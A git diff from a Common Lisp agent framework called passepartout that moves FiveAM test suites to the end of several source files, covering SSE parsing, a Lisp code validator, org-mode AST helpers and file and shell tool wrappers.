(fiveam:is (null (passepartout::parse-sse-line "event: ping"))))
|
||||
|
||||
(fiveam:test test-provider-openai-stream-calls-callback
|
||||
"Contract 5: provider-openai-stream calls callback with deltas and final empty string."
|
||||
(let ((collected '()))
|
||||
(flet ((collector (text) (push text collected)))
|
||||
(passepartout::provider-openai-stream "hi" "sys" #'collector :provider :openrouter))
|
||||
(let* ((reversed (nreverse collected))
|
||||
(last (car (last reversed))))
|
||||
(fiveam:is (stringp last))
|
||||
(fiveam:is (string= "" last))
|
||||
(fiveam:is (>= (length reversed) 2)))))
|
||||
|
||||
(in-package :passepartout)
|
||||
|
||||
(defparameter *provider-configs*
|
||||
|
||||
@@ -1,91 +1,3 @@
|
||||
(defpackage :passepartout-utils-lisp-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:utils-lisp-suite))
|
||||
|
||||
(in-package :passepartout-utils-lisp-tests)
|
||||
|
||||
(def-suite utils-lisp-suite
|
||||
:description "Tests for the Lisp Validator structural, syntactic, and semantic gates")
|
||||
|
||||
(in-suite utils-lisp-suite)
|
||||
|
||||
(test structural-balanced
|
||||
"Contract 1: balanced code returns T."
|
||||
(is (eq t (passepartout:lisp-structural-check "(+ 1 2)"))))
|
||||
|
||||
(test structural-unbalanced-open
|
||||
"Contract 1: missing close paren returns nil + error."
|
||||
(multiple-value-bind (ok reason) (passepartout:lisp-structural-check "(+ 1 2")
|
||||
(is (null ok))
|
||||
(is (search "Reader Error" reason))))
|
||||
|
||||
(test structural-unbalanced-close
|
||||
"Contract 1: extra close paren returns nil + error."
|
||||
(multiple-value-bind (ok reason) (passepartout:lisp-structural-check "+ 1 2)")
|
||||
(is (null ok))
|
||||
(is (search "Reader Error" reason))))
|
||||
|
||||
(test syntactic-valid
|
||||
"Contract 2: valid syntax passes syntactic check."
|
||||
(is (eq t (passepartout:lisp-syntactic-check "(+ 1 2)"))))
|
||||
|
||||
(test semantic-safe
|
||||
"Contract 3: safe code passes semantic check."
|
||||
(is (eq t (passepartout:lisp-semantic-check "(+ 1 2)"))))
|
||||
|
||||
(test semantic-blocked-eval
|
||||
"Contract 3: eval forms are blocked by semantic check."
|
||||
(multiple-value-bind (ok reason) (passepartout:lisp-semantic-check "(eval '(+ 1 2))")
|
||||
(is (null ok))
|
||||
(is (search "Unsafe" reason))))
|
||||
|
||||
(test unified-success
|
||||
"Contract 4: valid code returns :success via lisp-validate."
|
||||
(let ((result (passepartout:lisp-validate "(+ 1 2)" :strict t)))
|
||||
(is (eq (getf result :status) :success))))
|
||||
|
||||
(test unified-failure
|
||||
"Contract 4: invalid code returns :error via lisp-validate."
|
||||
(let ((result (passepartout:lisp-validate "(+ 1 2" :strict nil)))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
(test eval-basic
|
||||
"Contract 5: lisp-eval returns :success with captured result."
|
||||
(let ((result (passepartout:lisp-eval "(+ 1 2)")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (string= (getf result :result) "3"))))
|
||||
|
||||
(test structural-extract
|
||||
"Contract 6: lisp-extract finds and returns a named function."
|
||||
(let* ((code "(defun hello () (print \"hi\")) (defun bye () (print \"bye\"))")
|
||||
(extracted (passepartout:lisp-extract code "hello")))
|
||||
(is (not (null extracted)))
|
||||
(let ((form (read-from-string extracted)))
|
||||
(is (eq (car form) 'DEFUN))
|
||||
(is (eq (second form) 'HELLO)))))
|
||||
|
||||
(test list-definitions
|
||||
"Contract 7: lisp-list-definitions returns all defined names."
|
||||
(let ((code "(defun foo () t) (defmacro bar () nil) (defparameter *baz* 10)"))
|
||||
(let ((names (passepartout:lisp-list-definitions code)))
|
||||
(is (member 'FOO names))
|
||||
(is (member 'BAR names))
|
||||
(is (member '*BAZ* names)))))
|
||||
|
||||
(test structural-inject
|
||||
"Contract 8: lisp-inject adds a form to a function body."
|
||||
(let* ((code "(defun my-fun (x) (print x))")
|
||||
(injected (passepartout:lisp-inject code "my-fun" "(finish-output)")))
|
||||
(let ((form (read-from-string injected)))
|
||||
(is (equal (last form) '((FINISH-OUTPUT)))))))
|
||||
|
||||
(test structural-slurp
|
||||
"Contract 9: lisp-slurp appends a form to a function body."
|
||||
(let* ((code "(defun work () (step-1))")
|
||||
(slurped (passepartout:lisp-slurp code "work" "(step-2)")))
|
||||
(let ((form (read-from-string slurped)))
|
||||
(is (equal (last form) '((STEP-2)))))))
|
||||
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun lisp-structural-check (code)
|
||||
@@ -244,3 +156,91 @@
|
||||
(intern (string k) :keyword)
|
||||
k)
|
||||
collect v)))
|
||||
|
||||
(defpackage :passepartout-utils-lisp-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:utils-lisp-suite))
|
||||
|
||||
(in-package :passepartout-utils-lisp-tests)
|
||||
|
||||
(def-suite utils-lisp-suite
|
||||
:description "Tests for the Lisp Validator structural, syntactic, and semantic gates")
|
||||
|
||||
(in-suite utils-lisp-suite)
|
||||
|
||||
(test structural-balanced
|
||||
"Contract 1: balanced code returns T."
|
||||
(is (eq t (passepartout:lisp-structural-check "(+ 1 2)"))))
|
||||
|
||||
(test structural-unbalanced-open
|
||||
"Contract 1: missing close paren returns nil + error."
|
||||
(multiple-value-bind (ok reason) (passepartout:lisp-structural-check "(+ 1 2")
|
||||
(is (null ok))
|
||||
(is (search "Reader Error" reason))))
|
||||
|
||||
(test structural-unbalanced-close
|
||||
"Contract 1: extra close paren returns nil + error."
|
||||
(multiple-value-bind (ok reason) (passepartout:lisp-structural-check "+ 1 2)")
|
||||
(is (null ok))
|
||||
(is (search "Reader Error" reason))))
|
||||
|
||||
(test syntactic-valid
|
||||
"Contract 2: valid syntax passes syntactic check."
|
||||
(is (eq t (passepartout:lisp-syntactic-check "(+ 1 2)"))))
|
||||
|
||||
(test semantic-safe
|
||||
"Contract 3: safe code passes semantic check."
|
||||
(is (eq t (passepartout:lisp-semantic-check "(+ 1 2)"))))
|
||||
|
||||
(test semantic-blocked-eval
|
||||
"Contract 3: eval forms are blocked by semantic check."
|
||||
(multiple-value-bind (ok reason) (passepartout:lisp-semantic-check "(eval '(+ 1 2))")
|
||||
(is (null ok))
|
||||
(is (search "Unsafe" reason))))
|
||||
|
||||
(test unified-success
|
||||
"Contract 4: valid code returns :success via lisp-validate."
|
||||
(let ((result (passepartout:lisp-validate "(+ 1 2)" :strict t)))
|
||||
(is (eq (getf result :status) :success))))
|
||||
|
||||
(test unified-failure
|
||||
"Contract 4: invalid code returns :error via lisp-validate."
|
||||
(let ((result (passepartout:lisp-validate "(+ 1 2" :strict nil)))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
(test eval-basic
|
||||
"Contract 5: lisp-eval returns :success with captured result."
|
||||
(let ((result (passepartout:lisp-eval "(+ 1 2)")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (string= (getf result :result) "3"))))
|
||||
|
||||
(test structural-extract
|
||||
"Contract 6: lisp-extract finds and returns a named function."
|
||||
(let* ((code "(defun hello () (print \"hi\")) (defun bye () (print \"bye\"))")
|
||||
(extracted (passepartout:lisp-extract code "hello")))
|
||||
(is (not (null extracted)))
|
||||
(let ((form (read-from-string extracted)))
|
||||
(is (eq (car form) 'DEFUN))
|
||||
(is (eq (second form) 'HELLO)))))
|
||||
|
||||
(test list-definitions
|
||||
"Contract 7: lisp-list-definitions returns all defined names."
|
||||
(let ((code "(defun foo () t) (defmacro bar () nil) (defparameter *baz* 10)"))
|
||||
(let ((names (passepartout:lisp-list-definitions code)))
|
||||
(is (member 'FOO names))
|
||||
(is (member 'BAR names))
|
||||
(is (member '*BAZ* names)))))
|
||||
|
||||
(test structural-inject
|
||||
"Contract 8: lisp-inject adds a form to a function body."
|
||||
(let* ((code "(defun my-fun (x) (print x))")
|
||||
(injected (passepartout:lisp-inject code "my-fun" "(finish-output)")))
|
||||
(let ((form (read-from-string injected)))
|
||||
(is (equal (last form) '((FINISH-OUTPUT)))))))
|
||||
|
||||
(test structural-slurp
|
||||
"Contract 9: lisp-slurp appends a form to a function body."
|
||||
(let* ((code "(defun work () (step-1))")
|
||||
(slurped (passepartout:lisp-slurp code "work" "(step-2)")))
|
||||
(let ((form (read-from-string slurped)))
|
||||
(is (equal (last form) '((STEP-2)))))))
|
||||
|
||||
@@ -1,40 +1,3 @@
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-programming-literate-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:literate-suite))
|
||||
|
||||
(in-package :passepartout-programming-literate-tests)
|
||||
|
||||
(def-suite literate-suite :description "Verification of the Literate Programming skill")
|
||||
(in-suite literate-suite)
|
||||
|
||||
(test test-extract-lisp-blocks
|
||||
"Contract 1: extracts lisp from #+begin_src blocks."
|
||||
(let* ((org-content (format nil "#+begin_src lisp~%(+ 1 2)~%#+end_src~%#+begin_src lisp~%(+ 3 4)~%#+end_src"))
|
||||
(extracted (literate-extract-lisp-blocks org-content)))
|
||||
(let ((joined (format nil "~{~a~^~%~}" extracted)))
|
||||
(is (search "(+ 1 2)" joined))
|
||||
(is (search "(+ 3 4)" joined)))))
|
||||
|
||||
(test test-block-balance-check-valid
|
||||
"Contract 2: balanced parens return T."
|
||||
(is (eq t (literate-block-balance-check
|
||||
(merge-pathnames "org/core-pipeline.org"
|
||||
(uiop:ensure-directory-pathname
|
||||
(uiop:getenv "PASSEPARTOUT_DATA_DIR")))))))
|
||||
|
||||
(test test-block-balance-check-missing-close
|
||||
"Contract 2: unbalanced parens return non-T."
|
||||
(is (not (eq t (literate-block-balance-check "org/nonexistent-file-xyz.org")))))
|
||||
|
||||
(test test-tangle-sync-check
|
||||
"Contract 3: literate-tangle-sync-check verifies org matches tangled lisp."
|
||||
(let ((result (literate-tangle-sync-check "org/core-pipeline.org" "lisp/core-pipeline.lisp")))
|
||||
(is (or (eq t result) (stringp result))
|
||||
"Should return T or a mismatch description")))
|
||||
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun literate-extract-lisp-blocks (content)
|
||||
@@ -101,3 +64,40 @@ contents of the Lisp file. Returns T if they match, or an error message."
|
||||
(defskill :passepartout-programming-literate
|
||||
:priority 300
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-programming-literate-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:literate-suite))
|
||||
|
||||
(in-package :passepartout-programming-literate-tests)
|
||||
|
||||
(def-suite literate-suite :description "Verification of the Literate Programming skill")
|
||||
(in-suite literate-suite)
|
||||
|
||||
(test test-extract-lisp-blocks
|
||||
"Contract 1: extracts lisp from #+begin_src blocks."
|
||||
(let* ((org-content (format nil "#+begin_src lisp~%(+ 1 2)~%#+end_src~%#+begin_src lisp~%(+ 3 4)~%#+end_src"))
|
||||
(extracted (literate-extract-lisp-blocks org-content)))
|
||||
(let ((joined (format nil "~{~a~^~%~}" extracted)))
|
||||
(is (search "(+ 1 2)" joined))
|
||||
(is (search "(+ 3 4)" joined)))))
|
||||
|
||||
(test test-block-balance-check-valid
|
||||
"Contract 2: balanced parens return T."
|
||||
(is (eq t (literate-block-balance-check
|
||||
(merge-pathnames "org/core-pipeline.org"
|
||||
(uiop:ensure-directory-pathname
|
||||
(uiop:getenv "PASSEPARTOUT_DATA_DIR")))))))
|
||||
|
||||
(test test-block-balance-check-missing-close
|
||||
"Contract 2: unbalanced parens return non-T."
|
||||
(is (not (eq t (literate-block-balance-check "org/nonexistent-file-xyz.org")))))
|
||||
|
||||
(test test-tangle-sync-check
|
||||
"Contract 3: literate-tangle-sync-check verifies org matches tangled lisp."
|
||||
(let ((result (literate-tangle-sync-check "org/core-pipeline.org" "lisp/core-pipeline.lisp")))
|
||||
(is (or (eq t result) (stringp result))
|
||||
"Should return T or a mismatch description")))
|
||||
|
||||
@@ -1,98 +1,3 @@
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ignore-errors (ql:quickload :fiveam :silent t)))
|
||||
|
||||
(defpackage :passepartout-utils-org-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:utils-org-suite))
|
||||
|
||||
(in-package :passepartout-utils-org-tests)
|
||||
|
||||
(def-suite utils-org-suite
|
||||
:description "Tests for Utils Org skill.")
|
||||
|
||||
(in-suite utils-org-suite)
|
||||
|
||||
(test id-generation
|
||||
"Contract 1: org-id-generate returns unique UUID strings."
|
||||
(let ((id1 (org-id-generate))
|
||||
(id2 (org-id-generate)))
|
||||
(is (plusp (length id1)))
|
||||
(is (not (string= id1 id2)))))
|
||||
|
||||
(test id-format
|
||||
"Contract 2: org-id-format ensures 'id:' prefix."
|
||||
(let ((formatted (org-id-format "abc12345")))
|
||||
(is (search "id:" formatted))))
|
||||
|
||||
(test property-setter
|
||||
"Contract 3: org-property-set modifies a property on a headline."
|
||||
(let ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "id:test123" :TITLE "Test")
|
||||
:contents nil)))
|
||||
(org-property-set ast "id:test123" :STATUS "ACTIVE")
|
||||
(is (string= (getf (getf ast :properties) :STATUS) "ACTIVE"))))
|
||||
|
||||
(test todo-setter
|
||||
"Contract 4: org-todo-set changes TODO state via org-property-set."
|
||||
(let ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "id:todo001" :TITLE "Task")
|
||||
:contents nil)))
|
||||
(org-todo-set ast "id:todo001" "DONE")
|
||||
(is (string= (getf (getf ast :properties) :TODO) "DONE"))))
|
||||
|
||||
(test test-org-headline-add
|
||||
"Contract 5: org-headline-add inserts a child headline."
|
||||
(let* ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "root" :TITLE "Root")
|
||||
:contents nil)))
|
||||
(is (eq t (org-headline-add ast "root" "New Child")))
|
||||
(is (= 1 (length (getf ast :contents))))
|
||||
(is (string= "New Child" (getf (getf (first (getf ast :contents)) :properties) :TITLE)))))
|
||||
|
||||
(test test-org-headline-find-by-id
|
||||
"Contract 6: org-headline-find-by-id finds a headline by ID."
|
||||
(let* ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "root" :TITLE "Root")
|
||||
:contents
|
||||
(list (list :type :HEADLINE
|
||||
:properties (list :ID "child1" :TITLE "Child"))
|
||||
(list :type :HEADLINE
|
||||
:properties (list :ID "child2" :TITLE "Child 2"))))))
|
||||
(let ((found (org-headline-find-by-id ast "child2")))
|
||||
(is (not (null found)))
|
||||
(is (string= "Child 2" (getf (getf found :properties) :TITLE))))
|
||||
(let ((missing (org-headline-find-by-id ast "nonexistent")))
|
||||
(is (null missing) "Missing ID should return nil"))))
|
||||
|
||||
(test test-org-id-get-create
|
||||
"Contract 7: org-id-get-create returns existing ID or creates and sets a new one."
|
||||
;; Case 1: headline already has an ID
|
||||
(let* ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "id:existing" :TITLE "Has ID")
|
||||
:contents nil)))
|
||||
(is (string= "id:existing" (org-id-get-create ast "id:existing"))))
|
||||
;; Case 2: headline exists by title but has no ID — one should be created
|
||||
(let* ((ast (list :type :HEADLINE
|
||||
:properties (list :TITLE "No ID")
|
||||
:contents nil)))
|
||||
(let ((new-id (org-id-get-create ast "No ID")))
|
||||
(is (stringp new-id))
|
||||
(is (uiop:string-prefix-p "id:" new-id))
|
||||
;; Verify the ID was set on the headline
|
||||
(is (string= new-id (getf (getf ast :properties) :ID)))))
|
||||
;; Case 3: idempotent — calling again returns same ID
|
||||
(let* ((ast (list :type :HEADLINE
|
||||
:properties (list :TITLE "Idempotent")
|
||||
:contents nil)))
|
||||
(let ((id1 (org-id-get-create ast "Idempotent"))
|
||||
(id2 (org-id-get-create ast "Idempotent")))
|
||||
(is (string= id1 id2))))
|
||||
;; Case 4: headline not found returns nil
|
||||
(let* ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "root" :TITLE "Root")
|
||||
:contents nil)))
|
||||
(is (null (org-id-get-create ast "nonexistent")))))
|
||||
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun org-filetags-extract (content)
|
||||
@@ -355,3 +260,98 @@ AST format: (:TYPE :HEADLINE :properties (:ID ... :TITLE ... :TAGS (...))
|
||||
(defskill :passepartout-programming-org
|
||||
:priority 100
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ignore-errors (ql:quickload :fiveam :silent t)))
|
||||
|
||||
(defpackage :passepartout-utils-org-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:utils-org-suite))
|
||||
|
||||
(in-package :passepartout-utils-org-tests)
|
||||
|
||||
(def-suite utils-org-suite
|
||||
:description "Tests for Utils Org skill.")
|
||||
|
||||
(in-suite utils-org-suite)
|
||||
|
||||
(test id-generation
|
||||
"Contract 1: org-id-generate returns unique UUID strings."
|
||||
(let ((id1 (org-id-generate))
|
||||
(id2 (org-id-generate)))
|
||||
(is (plusp (length id1)))
|
||||
(is (not (string= id1 id2)))))
|
||||
|
||||
(test id-format
|
||||
"Contract 2: org-id-format ensures 'id:' prefix."
|
||||
(let ((formatted (org-id-format "abc12345")))
|
||||
(is (search "id:" formatted))))
|
||||
|
||||
(test property-setter
|
||||
"Contract 3: org-property-set modifies a property on a headline."
|
||||
(let ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "id:test123" :TITLE "Test")
|
||||
:contents nil)))
|
||||
(org-property-set ast "id:test123" :STATUS "ACTIVE")
|
||||
(is (string= (getf (getf ast :properties) :STATUS) "ACTIVE"))))
|
||||
|
||||
(test todo-setter
|
||||
"Contract 4: org-todo-set changes TODO state via org-property-set."
|
||||
(let ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "id:todo001" :TITLE "Task")
|
||||
:contents nil)))
|
||||
(org-todo-set ast "id:todo001" "DONE")
|
||||
(is (string= (getf (getf ast :properties) :TODO) "DONE"))))
|
||||
|
||||
(test test-org-headline-add
|
||||
"Contract 5: org-headline-add inserts a child headline."
|
||||
(let* ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "root" :TITLE "Root")
|
||||
:contents nil)))
|
||||
(is (eq t (org-headline-add ast "root" "New Child")))
|
||||
(is (= 1 (length (getf ast :contents))))
|
||||
(is (string= "New Child" (getf (getf (first (getf ast :contents)) :properties) :TITLE)))))
|
||||
|
||||
(test test-org-headline-find-by-id
|
||||
"Contract 6: org-headline-find-by-id finds a headline by ID."
|
||||
(let* ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "root" :TITLE "Root")
|
||||
:contents
|
||||
(list (list :type :HEADLINE
|
||||
:properties (list :ID "child1" :TITLE "Child"))
|
||||
(list :type :HEADLINE
|
||||
:properties (list :ID "child2" :TITLE "Child 2"))))))
|
||||
(let ((found (org-headline-find-by-id ast "child2")))
|
||||
(is (not (null found)))
|
||||
(is (string= "Child 2" (getf (getf found :properties) :TITLE))))
|
||||
(let ((missing (org-headline-find-by-id ast "nonexistent")))
|
||||
(is (null missing) "Missing ID should return nil"))))
|
||||
|
||||
(test test-org-id-get-create
|
||||
"Contract 7: org-id-get-create returns existing ID or creates and sets a new one."
|
||||
;; Case 1: headline already has an ID
|
||||
(let* ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "id:existing" :TITLE "Has ID")
|
||||
:contents nil)))
|
||||
(is (string= "id:existing" (org-id-get-create ast "id:existing"))))
|
||||
;; Case 2: headline exists by title but has no ID — one should be created
|
||||
(let* ((ast (list :type :HEADLINE
|
||||
:properties (list :TITLE "No ID")
|
||||
:contents nil)))
|
||||
(let ((new-id (org-id-get-create ast "No ID")))
|
||||
(is (stringp new-id))
|
||||
(is (uiop:string-prefix-p "id:" new-id))
|
||||
;; Verify the ID was set on the headline
|
||||
(is (string= new-id (getf (getf ast :properties) :ID)))))
|
||||
;; Case 3: idempotent — calling again returns same ID
|
||||
(let* ((ast (list :type :HEADLINE
|
||||
:properties (list :TITLE "Idempotent")
|
||||
:contents nil)))
|
||||
(let ((id1 (org-id-get-create ast "Idempotent"))
|
||||
(id2 (org-id-get-create ast "Idempotent")))
|
||||
(is (string= id1 id2))))
|
||||
;; Case 4: headline not found returns nil
|
||||
(let* ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "root" :TITLE "Root")
|
||||
:contents nil)))
|
||||
(is (null (org-id-get-create ast "nonexistent")))))
|
||||
|
||||
@@ -1,175 +1,3 @@
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-programming-tools-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:programming-tools-suite))
|
||||
|
||||
(in-package :passepartout-programming-tools-tests)
|
||||
|
||||
(def-suite programming-tools-suite :description "Verification of programming cognitive tools")
|
||||
(in-suite programming-tools-suite)
|
||||
|
||||
(defun tools-tmpdir ()
|
||||
(let ((d (merge-pathnames "tmp/passepartout-tool-tests/" (user-homedir-pathname))))
|
||||
(uiop:ensure-all-directories-exist (list d))
|
||||
d))
|
||||
|
||||
(defun tools-cleanup ()
|
||||
(let ((d (tools-tmpdir)))
|
||||
(uiop:delete-directory-tree d :validate t :if-does-not-exist :ignore)))
|
||||
|
||||
(defun tools-write-file (filepath content)
|
||||
(uiop:ensure-all-directories-exist (list filepath))
|
||||
(with-open-file (stream filepath :direction :output :if-exists :supersede :if-does-not-exist :create)
|
||||
(write-string content stream)))
|
||||
|
||||
(defun call-tool (tool-name &rest args)
|
||||
(let ((tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*)))
|
||||
(unless tool (error "Tool ~a not found" tool-name))
|
||||
(funcall (cognitive-tool-body tool) args)))
|
||||
|
||||
;; search-files
|
||||
(test test-search-files-finds-matches
|
||||
"Contract 1: search-files finds lines matching a regex pattern."
|
||||
(let* ((dir (tools-tmpdir))
|
||||
(file-a (merge-pathnames "src-a.lisp" dir))
|
||||
(file-b (merge-pathnames "src-b.lisp" dir)))
|
||||
(tools-write-file file-a "(defun foo () 'hello)")
|
||||
(tools-write-file file-b "(defun bar () 'world)")
|
||||
(let ((result (call-tool 'search-files :pattern "defun" :path (namestring dir) :include "*.lisp")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "src-a.lisp:1:" (getf result :content)))
|
||||
(is (search "src-b.lisp:1:" (getf result :content))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-search-files-missing-params
|
||||
"search-files returns error when required params are missing."
|
||||
(let ((result (call-tool 'search-files :pattern "x")))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; find-files
|
||||
(test test-find-files-by-extension
|
||||
"Contract 5: find-files returns files matching a glob."
|
||||
(let ((dir (tools-tmpdir)))
|
||||
(tools-write-file (merge-pathnames "a.lisp" dir) "test")
|
||||
(tools-write-file (merge-pathnames "b.lisp" dir) "test")
|
||||
(tools-write-file (merge-pathnames "c.org" dir) "test")
|
||||
(let ((result (call-tool 'find-files :pattern "*.lisp" :path (namestring dir))))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "a.lisp" (getf result :content)))
|
||||
(is (search "b.lisp" (getf result :content)))
|
||||
(is (not (search "c.org" (getf result :content)))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-find-files-missing-params
|
||||
"find-files returns error without required params."
|
||||
(let ((result (call-tool 'find-files :pattern "*.lisp")))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; read-file
|
||||
(test test-read-file-full
|
||||
"Contract 6: read-file returns full file contents."
|
||||
(let* ((dir (tools-tmpdir))
|
||||
(file (merge-pathnames "readme.txt" dir)))
|
||||
(tools-write-file file (format nil "line one~%line two~%line three"))
|
||||
(let ((result (call-tool 'read-file :filepath (namestring file))))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "line one" (getf result :content))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-read-file-missing-params
|
||||
"read-file returns error without :filepath."
|
||||
(let ((result (call-tool 'read-file)))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; write-file
|
||||
(test test-write-file-creates
|
||||
"Contract 7: write-file creates file with content."
|
||||
(let* ((dir (tools-tmpdir))
|
||||
(file (merge-pathnames "output.txt" dir)))
|
||||
(let ((result (call-tool 'write-file :filepath (namestring file) :content "hello world")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "11 bytes" (getf result :content))))
|
||||
(is (string-equal "hello world" (uiop:read-file-string file)))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-write-file-missing-params
|
||||
"write-file returns error without required params."
|
||||
(let ((result (call-tool 'write-file :content "x")))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; list-directory
|
||||
(test test-list-directory-all
|
||||
"Contract 8: list-directory returns all entries."
|
||||
(let ((dir (tools-tmpdir)))
|
||||
(tools-write-file (merge-pathnames "alpha.txt" dir) "x")
|
||||
(tools-write-file (merge-pathnames "beta.txt" dir) "y")
|
||||
(let ((result (call-tool 'list-directory :path (namestring dir))))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "alpha.txt" (getf result :content)))
|
||||
(is (search "beta.txt" (getf result :content))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-list-directory-missing-params
|
||||
"list-directory returns error without :path."
|
||||
(let ((result (call-tool 'list-directory)))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; run-shell
|
||||
(test test-run-shell-echo
|
||||
"Contract 9: run-shell executes a command and returns output."
|
||||
(let ((result (call-tool 'run-shell :cmd "echo hello")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "hello" (getf result :content)))))
|
||||
|
||||
(test test-run-shell-missing-params
|
||||
"run-shell returns error without :cmd."
|
||||
(let ((result (call-tool 'run-shell)))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; eval-form
|
||||
(test test-eval-form-arithmetic
|
||||
"Contract 10: eval-form evaluates a Lisp expression."
|
||||
(let ((result (call-tool 'eval-form :code "(+ 1 2)")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "3" (getf result :content)))))
|
||||
|
||||
(test test-eval-form-missing-params
|
||||
"eval-form returns error without :code."
|
||||
(let ((result (call-tool 'eval-form)))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; org-modify-file
|
||||
(test test-org-modify-file-replace
|
||||
"Contract 13: org-modify-file replaces exact text in file."
|
||||
(let* ((dir (tools-tmpdir))
|
||||
(file (merge-pathnames "doc.org" dir)))
|
||||
(tools-write-file file "* TODO Buy milk~%* DONE Walk dog~%")
|
||||
(let ((result (call-tool 'org-modify-file
|
||||
:filepath (namestring file)
|
||||
:old-text "TODO" :new-text "WAITING")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "WAITING" (uiop:read-file-string file))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-org-modify-file-not-found
|
||||
"org-modify-file returns error when text not in file."
|
||||
(let* ((dir (tools-tmpdir))
|
||||
(file (merge-pathnames "file.org" dir)))
|
||||
(tools-write-file file "some content")
|
||||
(let ((result (call-tool 'org-modify-file
|
||||
:filepath (namestring file)
|
||||
:old-text "not-in-file" :new-text "anything")))
|
||||
(is (eq (getf result :status) :error))
|
||||
(is (search "not found" (getf result :message))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-org-modify-file-missing-params
|
||||
"org-modify-file returns error without required params."
|
||||
(let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y")))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun tools-write-file (filepath content)
|
||||
@@ -429,6 +257,384 @@
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil)
|
||||
:deterministic (lambda (action ctx) (declare (ignore action ctx)) nil))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-programming-tools-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:programming-tools-suite))
|
||||
|
||||
(in-package :passepartout-programming-tools-tests)
|
||||
|
||||
(def-suite programming-tools-suite :description "Verification of programming cognitive tools")
|
||||
(in-suite programming-tools-suite)
|
||||
|
||||
(defun tools-tmpdir ()
|
||||
(let ((d (merge-pathnames "tmp/passepartout-tool-tests/" (user-homedir-pathname))))
|
||||
(uiop:ensure-all-directories-exist (list d))
|
||||
d))
|
||||
|
||||
(defun tools-cleanup ()
|
||||
(let ((d (tools-tmpdir)))
|
||||
(uiop:delete-directory-tree d :validate t :if-does-not-exist :ignore)))
|
||||
|
||||
(defun tools-write-file (filepath content)
|
||||
(uiop:ensure-all-directories-exist (list filepath))
|
||||
(with-open-file (stream filepath :direction :output :if-exists :supersede :if-does-not-exist :create)
|
||||
(write-string content stream)))
|
||||
|
||||
(defun call-tool (tool-name &rest args)
|
||||
(let ((tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*)))
|
||||
(unless tool (error "Tool ~a not found" tool-name))
|
||||
(funcall (cognitive-tool-body tool) args)))
|
||||
|
||||
;; search-files
|
||||
(test test-search-files-finds-matches
|
||||
"Contract 1: search-files finds lines matching a regex pattern."
|
||||
(let* ((dir (tools-tmpdir))
|
||||
(file-a (merge-pathnames "src-a.lisp" dir))
|
||||
(file-b (merge-pathnames "src-b.lisp" dir)))
|
||||
(tools-write-file file-a "(defun foo () 'hello)")
|
||||
(tools-write-file file-b "(defun bar () 'world)")
|
||||
